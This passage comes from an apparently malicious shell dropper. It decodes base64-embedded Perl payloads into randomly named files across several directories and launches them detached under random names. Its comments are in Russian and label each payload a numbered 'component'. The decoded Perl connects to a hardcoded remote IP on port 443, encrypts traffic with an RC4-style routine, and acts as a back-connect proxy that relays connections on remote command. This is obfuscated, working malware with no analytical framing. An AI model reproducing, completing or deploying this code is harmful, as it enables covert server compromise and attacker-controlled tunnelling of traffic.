ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #47 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #47 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 48 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzYyLjYwLjEzMS4xOTUnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ 